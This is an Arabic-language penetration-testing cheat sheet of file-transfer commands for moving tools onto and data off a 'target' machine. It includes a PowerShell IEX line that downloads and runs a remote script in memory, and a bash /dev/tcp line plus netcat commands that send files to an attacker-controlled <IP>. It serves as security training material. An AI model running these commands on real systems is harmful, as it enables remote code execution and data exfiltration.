نقل الملفات بين الأجهزة = مهارة أساسية في كل مرحلة من الاختبار
متى تحتاجها؟
# PowerShell — DownloadFile
(New-Object Net.WebClient).DownloadFile('http://<IP>/file', 'C:\file')
# PowerShell — DownloadString (تشغيل مباشر بدون حفظ)
IEX (New-Object Net.WebClient).DownloadString('http://<IP>/script.ps1')
# Invoke-WebRequest
Invoke-WebRequest -Uri 'http://<IP>/file' -OutFile 'C:\file'
iwr 'http://<IP>/file' -o 'C:\file' # اختصار
# PowerShell Base64 — نقل عبر CLI
[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\file'))
# على الهدف:
[IO.File]::WriteAllBytes('C:\file', [Convert]::FromBase64String('<b64>'))
# wget
wget http://<IP>/file
wget http://<IP>/file -O /tmp/file
# curl
curl http://<IP>/file -o /tmp/file
curl -O http://<IP>/file
# Python HTTP Server (على جهازك)
python3 -m http.server 8080
python2 -m SimpleHTTPServer 8080
# SCP
scp file user@<IP>:/tmp/
scp user@<IP>:/tmp/file .
# rsync
rsync -avz file user@<IP>:/tmp/
# Python — Download
python3 -c "import urllib.request; urllib.request.urlretrieve('http://<IP>/file', '/tmp/file')"
# PHP — Download
php -r "file_put_contents('/tmp/file', file_get_contents('http://<IP>/file'));"
# Ruby
ruby -e "require 'open-uri'; File.write('/tmp/file', open('http://<IP>/file').read)"
# Perl
perl -e "use LWP::Simple; getstore('http://<IP>/file', '/tmp/file');"
# Netcat — المرسل
nc -q 0 <target_IP> 8000 < file
# Netcat — المستقبل
nc -lvnp 8000 > file
# /dev/tcp (بدون أدوات)
# المستقبل (جهازك):
nc -lvnp 8000 > file
# المرسل (الهدف):
bash -c 'cat file > /dev/tcp/<IP>/8000'
# SSH (SCP بدون SCP)
ssh user@<IP> "cat /remote/file" > local_file
# OpenSSL — تشفير قبل النقل
# Encrypt:
openssl enc -aes256 -iter 100000 -pbkdf2 -in file -out file.enc
# Decrypt:
openssl enc -d -aes256 -iter 100000 -pbkdf2 -in file.enc -out file
# Base64 (للنصوص)
base64 file > file.b64
base64 -d file.b64 > file
# Windows PowerShell:
[Convert]::ToBase64String([IO.File]::ReadAllBytes('file')) > file.b64